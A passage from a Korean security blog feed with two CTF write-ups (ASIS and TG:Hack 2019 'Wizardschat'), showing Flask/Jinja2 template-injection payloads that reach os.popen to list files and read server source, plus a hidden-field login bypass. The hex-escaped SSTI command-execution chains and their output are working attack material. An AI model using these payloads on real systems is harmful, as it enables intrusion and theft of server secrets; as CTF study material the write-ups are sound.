'/usr/local/lib/python2.7/site.pyc'&amp;gt;, 'flask.json.datetime': None, 'io': &amp;lt;module 'io' from '/usr/local/lib/python2.7/io.pyc'&amp;gt;, 'flask.itertools': None, 'werkzeug.werkzeug': None, 'markupsafe._speedups': &amp;lt;module 'markupsafe._speedups' from '/usr/local/lib/python2.7/site-packages/markupsafe/_speedups.so'&amp;gt;, 'flask.sessions': &amp;lt;module 'flask.sessions' from '/usr/local/lib/python2.7/site-packages/flask/sessions.pyc'&amp;gt;, 'werkzeug.functools': None, 'flask.os': None, 'json.json': None, 'email.re': None, 'sys': &amp;lt;module 'sys' (built-in)&amp;gt;, 'werkzeug.codecs': None, 'click.types': &amp;lt;module 'click.types' from '/usr/local/lib/python2.7/site-packages/click/types.pyc'&amp;gt;, 'itsdangerous.hmac': None, 'werkzeug.contrib': &amp;lt;module 'werkzeug.contrib' from '/usr/local/lib/python2.7/site-packages/werkzeug/contrib/__init__.pyc'&amp;gt;, 'jinja2.visitor': &amp;lt;module 'jinja2.visitor' from '/usr/local/lib/python2.7/site-packages/jinja2/visitor.pyc'&amp;gt;, 'flask.json': &amp;lt;module 'flask.json' from '/usr/local/lib/python2.7/site-packages/flask/json/__init__.pyc'&amp;gt;, '_weakref': &amp;lt;module '_weakref' (built-in)&amp;gt;, 'difflib': &amp;lt;module 'difflib' from '/usr/local/lib/python2.7/difflib.pyc'&amp;gt;, 'urlparse': &amp;lt;module 'urlparse' from '/usr/local/lib/python2.7/urlparse.pyc'&amp;gt;, 'werkzeug.local': &amp;lt;module 'werkzeug.local' from '/usr/local/lib/python2.7/site-packages/werkzeug/local.pyc'&amp;gt;, 'jinja2.optimizer': &amp;lt;module 'jinja2.optimizer' from '/usr/local/lib/python2.7/site-packages/jinja2/optimizer.pyc'&amp;gt;, 'werkzeug.warnings': None, 'markupsafe.sys': None, 'flask.wrappers': &amp;lt;module 'flask.wrappers' from '/usr/local/lib/python2.7/site-packages/flask/wrappers.pyc'&amp;gt;, 'werkzeug.inspect': None, 'select': &amp;lt;module 'select' from '/usr/local/lib/python2.7/lib-dynload/select.so'&amp;gt;, 'email.mime': &amp;lt;module 'email.mime' from '/usr/local/lib/python2.7/email/mime/__init__.pyc'&amp;gt;, 'struct': &amp;lt;module 'struct' from '/usr/local/lib/python2.7/struct.pyc'&amp;gt;, '_abcoll': &amp;lt;module '_abcoll' from '/usr/local/lib/python2.7/_abcoll.pyc'&amp;gt;, 'collections': &amp;lt;module 'collections' from '/usr/local/lib/python2.7/collections.pyc'&amp;gt;, 'flask_session.itsdangerous': None, 'email.Parser': &amp;lt;email.LazyImporter object at 0x7f59d8f12e10&amp;gt;, 'werkzeug.os': None, 'zipimport': &amp;lt;module 'zipimport' (built-in)&amp;gt;, 'jinja2.nodes': &amp;lt;module 'jinja2.nodes' from '/usr/local/lib/python2.7/site-packages/jinja2/nodes.pyc'&amp;gt;, 'textwrap': &amp;lt;module 'textwrap' from '/usr/local/lib/python2.7/textwrap.pyc'&amp;gt;, 'werkzeug.contrib.hashlib': None, 'jinja2.types': None, 'flask.signals': &amp;lt;module 'flask.signals' from '/usr/local/lib/python2.7/site-packages/flask/signals.pyc'&amp;gt;, 'signal': &amp;lt;module 'signal' (built-in)&amp;gt;, 'jinja2.keyword': None, 'quopri': &amp;lt;module 'quopri' from '/usr/local/lib/python2.7/quopri.pyc'&amp;gt;, 'jinja2._compat': &amp;lt;module 'jinja2._compat' from '/usr/local/lib/python2.7/site-packages/jinja2/_compat.pyc'&amp;gt;, 'stat': &amp;lt;module 'stat' from '/usr/local/lib/python2.7/stat.pyc'&amp;gt;, '_ssl': &amp;lt;module '_ssl' from '/usr/local/lib/python2.7/lib-dynload/_ssl.so'&amp;gt;, 'click.weakref': None, 'email.Generator': &amp;lt;email.LazyImporter object at 0x7f59d8f12d10&amp;gt;, 'logging.traceback': None, 'email.MIMEAudio': &amp;lt;email.LazyImporter object at 0x7f59d8f12f10&amp;gt;, 'flask.errno': None, 'jinja2.stat': None, 'werkzeug': &amp;lt;module 'werkzeug' from '/usr/local/lib/python2.7/site-packages/werkzeug/__init__.pyc'&amp;gt;, 'werkzeug.posixpath': None, 'flask.warnings': None, 'jinja2.ext': &amp;lt;module 'jinja2.ext' from '/usr/local/lib/python2.7/site-packages/jinja2/ext.pyc'&amp;gt;, 'UserDict': &amp;lt;module 'UserDict' from '/usr/local/lib/python2.7/UserDict.pyc'&amp;gt;, 'inspect': &amp;lt;module 'inspect' from '/usr/local/lib/python2.7/inspect.pyc'&amp;gt;, 'jinja2.filters': &amp;lt;module 'jinja2.filters' from '/usr/local/lib/python2.7/site-packages/jinja2/filters.pyc'&amp;gt;, 'jinja2.fnmatch': None, 'werkzeug.exceptions': &amp;lt;module 'werkzeug.exceptions' from '/usr/local/lib/python2.7/site-packages/werkzeug/exceptions.pyc'&amp;gt;, 'werkzeug.tempfile': None, '_functools': &amp;lt;module '_functools' from '/usr/local/lib/python2.7/lib-dynload/_functools.so'&amp;gt;, 'email.Iterators': &amp;lt;email.LazyImporter object at 0x7f59d8f12d90&amp;gt;, 'socket': &amp;lt;module 'socket' from '/usr/local/lib/python2.7/socket.pyc'&amp;gt;, 'itsdangerous.jws': &amp;lt;module 'itsdangerous.jws' from '/usr/local/lib/python2.7/site-packages/itsdangerous/jws.pyc'&amp;gt;, 'email.Charset': &amp;lt;email.LazyImporter object at 0x7f59d8f12c10&amp;gt;, 'jinja2.warnings': None, 'werkzeug.urls': &amp;lt;module 'werkzeug.urls' from '/usr/local/lib/python2.7/site-packages/werkzeug/urls.pyc'&amp;gt;, 'os': &amp;lt;module 'os' from '/usr/local/lib/python2.7/os.pyc'&amp;gt;, 'marshal': &amp;lt;module 'marshal' (built-in)&amp;gt;, 'werkzeug.contrib.errno': None, '__future__': &amp;lt;module '__future__' from '/usr/local/lib/python2.7/__future__.pyc'&amp;gt;, 'flask.cStringIO': None, 'binascii': &amp;lt;module 'binascii' from '/usr/local/lib/python2.7/lib-dynload/binascii.so'&amp;gt;, 'werkzeug.datetime': None, '__builtin__': &amp;lt;module '__builtin__' (built-in)&amp;gt;, 'jinja2.itertools': None, 'operator': &amp;lt;module 'operator' from '/usr/local/lib/python2.7/lib-dynload/operator.so'&amp;gt;, 'werkzeug.httplib': None, 'jinja2.runtime': &amp;lt;module 'jinja2.runtime' from '/usr/local/lib/python2.7/site-packages/jinja2/runtime.pyc'&amp;gt;, 'itsdangerous.serializer': &amp;lt;module 'itsdangerous.serializer' from '/usr/local/lib/python2.7/site-packages/itsdangerous/serializer.pyc'&amp;gt;, 'json.struct': None, 'itsdangerous.encoding': &amp;lt;module 'itsdangerous.encoding' from '/usr/local/lib/python2.7/site-packages/itsdangerous/encoding.pyc'&amp;gt;, 'errno': &amp;lt;module 'errno' (built-in)&amp;gt;, '_socket': &amp;lt;module '_socket' from '/usr/local/lib/python2.7/lib-dynload/_socket.so'&amp;gt;, 'email.Utils': &amp;lt;email.LazyImporter object at 0x7f59d8f12e50&amp;gt;, 'encodings.latin_1': &amp;lt;module 'encodings.latin_1' from '/usr/local/lib/python2.7/encodings/latin_1.pyc'&amp;gt;, 'werkzeug.contrib.platform': None, '_warnings': &amp;lt;module '_warnings' (built-in)&amp;gt;, 'encodings.__builtin__': None, 'jinja2.idtracking': &amp;lt;module 'jinja2.idtracking' from '/usr/local/lib/python2.7/site-packages/jinja2/idtracking.pyc'&amp;gt;, 'email.os': None, 'flask.config': &amp;lt;module 'flask.config' from '/usr/local/lib/python2.7/site-packages/flask/config.pyc'&amp;gt;, 'itsdangerous._compat': &amp;lt;module 'itsdangerous._compat' from '/usr/local/lib/python2.7/site-packages/itsdangerous/_compat.pyc'&amp;gt;, '_sysconfigdata': &amp;lt;module '_sysconfigdata' from '/usr/local/lib/python2.7/_sysconfigdata.pyc'&amp;gt;, '_struct': &amp;lt;module '_struct' from '/usr/local/lib/python2.7/lib-dynload/_struct.so'&amp;gt;, 'click.functools': None, 'logging.time': None, 'jinja2.environment': &amp;lt;module 'jinja2.environment' from '/usr/local/lib/python2.7/site-packages/jinja2/environment.pyc'&amp;gt;, 'logging.warnings': None, 'werkzeug.random': None, 'mimetools': &amp;lt;module 'mimetools' from '/usr/local/lib/python2.7/mimetools.pyc'&amp;gt;, 'jinja2.re': None, 'logging.codecs': None, '_random': &amp;lt;module '_random' from '/usr/local/lib/python2.7/lib-dynload/_random.so'&amp;gt;, 'markupsafe._compat': &amp;lt;module 'markupsafe._compat' from '/usr/local/lib/python2.7/site-packages/markupsafe/_compat.pyc'&amp;gt;, 'jinja2.decimal': None, 'flask.werkzeug': None, 'itsdangerous.base64': None, 'contextlib': &amp;lt;module 'contextlib' from '/usr/local/lib/python2.7/contextlib.pyc'&amp;gt;, 'werkzeug.contrib.tempfile': None, 'flask.itsdangerous': None, 'flask.__future__': None, 'click.re': None, 'email.warnings': None, 'flask.types': None, 'markupsafe.collections': None, 'genericpath': &amp;lt;module 'genericpath' from '/usr/local/lib/python2.7/genericpath.pyc'&amp;gt;, 'mimetypes': &amp;lt;module 'mimetypes' from '/usr/local/lib/python2.7/mimetypes.pyc'&amp;gt;, 'werkzeug.itertools': None, 'itsdangerous.time': None, 'urllib2': &amp;lt;module 'urllib2' from '/usr/local/lib/python2.7/urllib2.pyc'&amp;gt;, 'email.Encoders': &amp;lt;email.LazyImporter object at 0x7f59d8f12c50&amp;gt;, 'ctypes.ctypes': None, 'itsdangerous.decimal': None, 'werkzeug.__builtin__': None, 'click._compat': &amp;lt;module 'click._compat' from '/usr/local/lib/python2.7/site-packages/click/_compat.pyc'&amp;gt;, 'time': &amp;lt;module 'time' from '/usr/local/lib/python2.7/lib-dynload/time.so'&amp;gt;, 'flask.threading': None}


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os'] 
&amp;lt;module 'os' from '/usr/local/lib/python2.7/os.pyc'&amp;gt;


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os']['popen']('ls')['read']() 
e7f4cf27-0421-493d-88b1-70855f5fa28f e7f4cf27-0421-493d-88b1-70855f5fa28f?a=e7f4cf27-0421-493d-88b1-70855f5fa28f%0Aflask_session%0Afort.py%0Afort.pyc%0Amain.py%0Amain.pyc%0Aprestart.sh%0Astatic%0Atemplates%0Auwsgi.ini flask_session fort.py fort.pyc main.py main.pyc prestart.sh static templates uwsgi.ini


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os']['popen']('cat fort\x2epy')['read']() 
from flask import Flask, session SECKEY = &quot;some random key for signing 70657529378630738104827452603621&quot; FLAG = &quot;ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}&quot; CORRECT_BEHAVIOUR = list(map(int, &quot;34515465413625214253&quot;)) PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ]) def history(): return session.get(&quot;history&quot;, []) def visit(door): session[&quot;history&quot;] = history() + [door] if len(session[&quot;history&quot;]) &amp;gt; len(CORRECT_BEHAVIOUR): session[&quot;history&quot;] = session[&quot;history&quot;][-len(CORRECT_BEHAVIOUR):] def credit(): credit = 0 hst = history() for i in range(len(hst)): for j in range(len(hst) - i): if hst[i + j] == CORRECT_BEHAVIOUR[j]: credit += j else: break return credit def trustworthy(): return credit() == PERFECT_CREDIT
&lt;/pre&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/111</guid>
      <comments>https://posix.tistory.com/111#entry111comment</comments>
      <pubDate>Sat, 20 Apr 2019 22:55:09 +0900</pubDate>
    </item>
    <item>
      <title>TG:Hack 2019 - Wizardschat 풀이</title>
      <link>https://posix.tistory.com/110</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjel0x/btquIQ8Njz3/26kFPdqukwBmMQkOx0Cdsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjel0x/btquIQ8Njz3/26kFPdqukwBmMQkOx0Cdsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjel0x/btquIQ8Njz3/26kFPdqukwBmMQkOx0Cdsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbjel0x%2FbtquIQ8Njz3%2F26kFPdqukwBmMQkOx0Cdsk%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;TG:Hack 2019 CTF web 5번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Flask SSTI 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwodQK/btquGVQwq4K/LRmGLbnyNDNDJiwFTZgOf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwodQK/btquGVQwq4K/LRmGLbnyNDNDJiwFTZgOf1/img.png&quot; data-filename=&quot;2.PNG&quot; style=&quot;width: 35.5335%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwodQK/btquGVQwq4K/LRmGLbnyNDNDJiwFTZgOf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwodQK%2FbtquGVQwq4K%2FLRmGLbnyNDNDJiwFTZgOf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LDv7m/btquIQnrhyS/rLIuXu1mbE8OmZzlnnN9cK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LDv7m/btquIQnrhyS/rLIuXu1mbE8OmZzlnnN9cK/img.png&quot; data-filename=&quot;3.PNG&quot; style=&quot;width: 62.141%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LDv7m/btquIQnrhyS/rLIuXu1mbE8OmZzlnnN9cK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLDv7m%2FbtquIQnrhyS%2FrLIuXu1mbE8OmZzlnnN9cK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;접속하면 로그인 폼이 보이는데, 대강 입력해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;NO MAGIC DETECTED&lt;/b&gt; 에러 메시지가 출력됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;hidden 항목으로 지정된 has_magic 값을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;1로 바꾸어주면 정상적으로 로그인 되는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bocYvU/btquE23V5N0/aBlfF5pI1BcVsdYf3wkiY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bocYvU/btquE23V5N0/aBlfF5pI1BcVsdYf3wkiY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bocYvU/btquE23V5N0/aBlfF5pI1BcVsdYf3wkiY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbocYvU%2FbtquE23V5N0%2FaBlfF5pI1BcVsdYf3wkiY1%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;로그인을 하면 채팅창이 등장하는데 입력하는대로 저장되며&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다른 사용자들과 담소를 나눌 수 있습니다.. ㅎㅎ&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bx6BQS/btquIQ8NjyK/0Bb7clFvJpKCRZHKYI6R40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bx6BQS/btquIQ8NjyK/0Bb7clFvJpKCRZHKYI6R40/img.png&quot; data-filename=&quot;5.PNG&quot; style=&quot;width: 33.732%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bx6BQS/btquIQ8NjyK/0Bb7clFvJpKCRZHKYI6R40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbx6BQS%2FbtquIQ8NjyK%2F0Bb7clFvJpKCRZHKYI6R40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xOldw/btquGWaQwun/WQ9eWuXZa9y5g6WKLlKMYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xOldw/btquGWaQwun/WQ9eWuXZa9y5g6WKLlKMYK/img.png&quot; data-filename=&quot;6.PNG&quot; style=&quot;width: 63.9425%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xOldw/btquGWaQwun/WQ9eWuXZa9y5g6WKLlKMYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxOldw%2FbtquGWaQwun%2FWQ9eWuXZa9y5g6WKLlKMYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여러가지 입력을 넣어 보다가&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;배열을 입력으로 주니 KeyError 가 발생했는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이를 보고 Flask 를 떠올렸습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;response 에는 일단 nginx 라고 표시되었지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;wsgi 인가 하는 녀석을 이용하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;복합적으로 운용할 수 있으니까요.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwbvJg/btquGWhDGAY/MReOZ5EYrroZtMgo0E4M6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwbvJg/btquGWhDGAY/MReOZ5EYrroZtMgo0E4M6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwbvJg/btquGWhDGAY/MReOZ5EYrroZtMgo0E4M6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwbvJg%2FbtquGWhDGAY%2FMReOZ5EYrroZtMgo0E4M6k%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Flask SSTI 를 생각하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;채팅 시스템에 여러가지를 대입해 보았지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;아무것도 얻을 수 없었습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;8.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1SWTI/btquHRNEU5U/dvt0NvIHgJ2uNrTCLb2qn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1SWTI/btquHRNEU5U/dvt0NvIHgJ2uNrTCLb2qn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1SWTI/btquHRNEU5U/dvt0NvIHgJ2uNrTCLb2qn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1SWTI%2FbtquHRNEU5U%2Fdvt0NvIHgJ2uNrTCLb2qn0%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그러던 중 cookie의 username값에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;템플릿 인젝션이 되는 것을 확인할 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이러면 채팅 시스템은 굳이 만들 필요가 있었는가&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;하는 생각도 들지만, 삽질하는 것도 나름 재미있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;페이로드와 결과값을 끝으로 포스팅을 마칩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py ceylon&quot;&gt;[].__class__
&amp;lt;class 'list'&amp;gt;


[].__class__.__base__
&amp;lt;class 'object'&amp;gt;


[].__class__.__base__.__subclasses__()
[&amp;lt;class 'type'&amp;gt;, &amp;lt;class 'weakref'&amp;gt;, &amp;lt;class 'weakcallableproxy'&amp;gt;, &amp;lt;class 'weakproxy'&amp;gt;, &amp;lt;class 'int'&amp;gt;, &amp;lt;class 'bytearray'&amp;gt;, &amp;lt;class 'bytes'&amp;gt;, &amp;lt;class 'list'&amp;gt;, &amp;lt;class 'NoneType'&amp;gt;, &amp;lt;class 'NotImplementedType'&amp;gt;, &amp;lt;class 'traceback'&amp;gt;, &amp;lt;class 'super'&amp;gt;, &amp;lt;class 'range'&amp;gt;, &amp;lt;class 'dict'&amp;gt;, &amp;lt;class 'dict_keys'&amp;gt;, &amp;lt;class 'dict_values'&amp;gt;, &amp;lt;class 'dict_items'&amp;gt;, &amp;lt;class 'odict_iterator'&amp;gt;, &amp;lt;class 'set'&amp;gt;, &amp;lt;class 'str'&amp;gt;, &amp;lt;class 'slice'&amp;gt;, &amp;lt;class 'staticmethod'&amp;gt;, &amp;lt;class 'complex'&amp;gt;, &amp;lt;class 'float'&amp;gt;, &amp;lt;class 'frozenset'&amp;gt;, &amp;lt;class 'property'&amp;gt;, &amp;lt;class 'managedbuffer'&amp;gt;, &amp;lt;class 'memoryview'&amp;gt;, &amp;lt;class 'tuple'&amp;gt;, &amp;lt;class 'enumerate'&amp;gt;, &amp;lt;class 'reversed'&amp;gt;, &amp;lt;class 'stderrprinter'&amp;gt;, &amp;lt;class 'code'&amp;gt;, &amp;lt;class 'frame'&amp;gt;, &amp;lt;class 'builtin_function_or_method'&amp;gt;, &amp;lt;class 'method'&amp;gt;, &amp;lt;class 'function'&amp;gt;, &amp;lt;class 'mappingproxy'&amp;gt;, &amp;lt;class 'generator'&amp;gt;, &amp;lt;class 'getset_descriptor'&amp;gt;, &amp;lt;class 'wrapper_descriptor'&amp;gt;, &amp;lt;class 'method-wrapper'&amp;gt;, &amp;lt;class 'ellipsis'&amp;gt;, &amp;lt;class 'member_descriptor'&amp;gt;, &amp;lt;class 'types.SimpleNamespace'&amp;gt;, &amp;lt;class 'PyCapsule'&amp;gt;, &amp;lt;class 'longrange_iterator'&amp;gt;, &amp;lt;class 'cell'&amp;gt;, &amp;lt;class 'instancemethod'&amp;gt;, &amp;lt;class 'classmethod_descriptor'&amp;gt;, &amp;lt;class 'method_descriptor'&amp;gt;, &amp;lt;class 'callable_iterator'&amp;gt;, &amp;lt;class 'iterator'&amp;gt;, &amp;lt;class 'coroutine'&amp;gt;, &amp;lt;class 'coroutine_wrapper'&amp;gt;, &amp;lt;class 'EncodingMap'&amp;gt;, &amp;lt;class 'fieldnameiterator'&amp;gt;, &amp;lt;class 'formatteriterator'&amp;gt;, &amp;lt;class 'filter'&amp;gt;, &amp;lt;class 'map'&amp;gt;, &amp;lt;class 'zip'&amp;gt;, &amp;lt;class 'moduledef'&amp;gt;, &amp;lt;class 'module'&amp;gt;, &amp;lt;class 'BaseException'&amp;gt;, &amp;lt;class '_frozen_importlib._ModuleLock'&amp;gt;, &amp;lt;class '_frozen_importlib._DummyModuleLock'&amp;gt;, &amp;lt;class '_frozen_importlib._ModuleLockManager'&amp;gt;, &amp;lt;class '_frozen_importlib._installed_safely'&amp;gt;, &amp;lt;class '_frozen_importlib.ModuleSpec'&amp;gt;, &amp;lt;class '_frozen_importlib.BuiltinImporter'&amp;gt;, &amp;lt;class 'classmethod'&amp;gt;, &amp;lt;class '_frozen_importlib.FrozenImporter'&amp;gt;, &amp;lt;class '_frozen_importlib._ImportLockContext'&amp;gt;, &amp;lt;class '_thread._localdummy'&amp;gt;, &amp;lt;class '_thread._local'&amp;gt;, &amp;lt;class '_thread.lock'&amp;gt;, &amp;lt;class '_thread.RLock'&amp;gt;, &amp;lt;class '_frozen_importlib_external.WindowsRegistryFinder'&amp;gt;, &amp;lt;class '_frozen_importlib_external._LoaderBasics'&amp;gt;, &amp;lt;class '_frozen_importlib_external.FileLoader'&amp;gt;, &amp;lt;class '_frozen_importlib_external._NamespacePath'&amp;gt;, &amp;lt;class '_frozen_importlib_external._NamespaceLoader'&amp;gt;, &amp;lt;class '_frozen_importlib_external.PathFinder'&amp;gt;, &amp;lt;class '_frozen_importlib_external.FileFinder'&amp;gt;, &amp;lt;class '_io._IOBase'&amp;gt;, &amp;lt;class '_io._BytesIOBuffer'&amp;gt;, &amp;lt;class 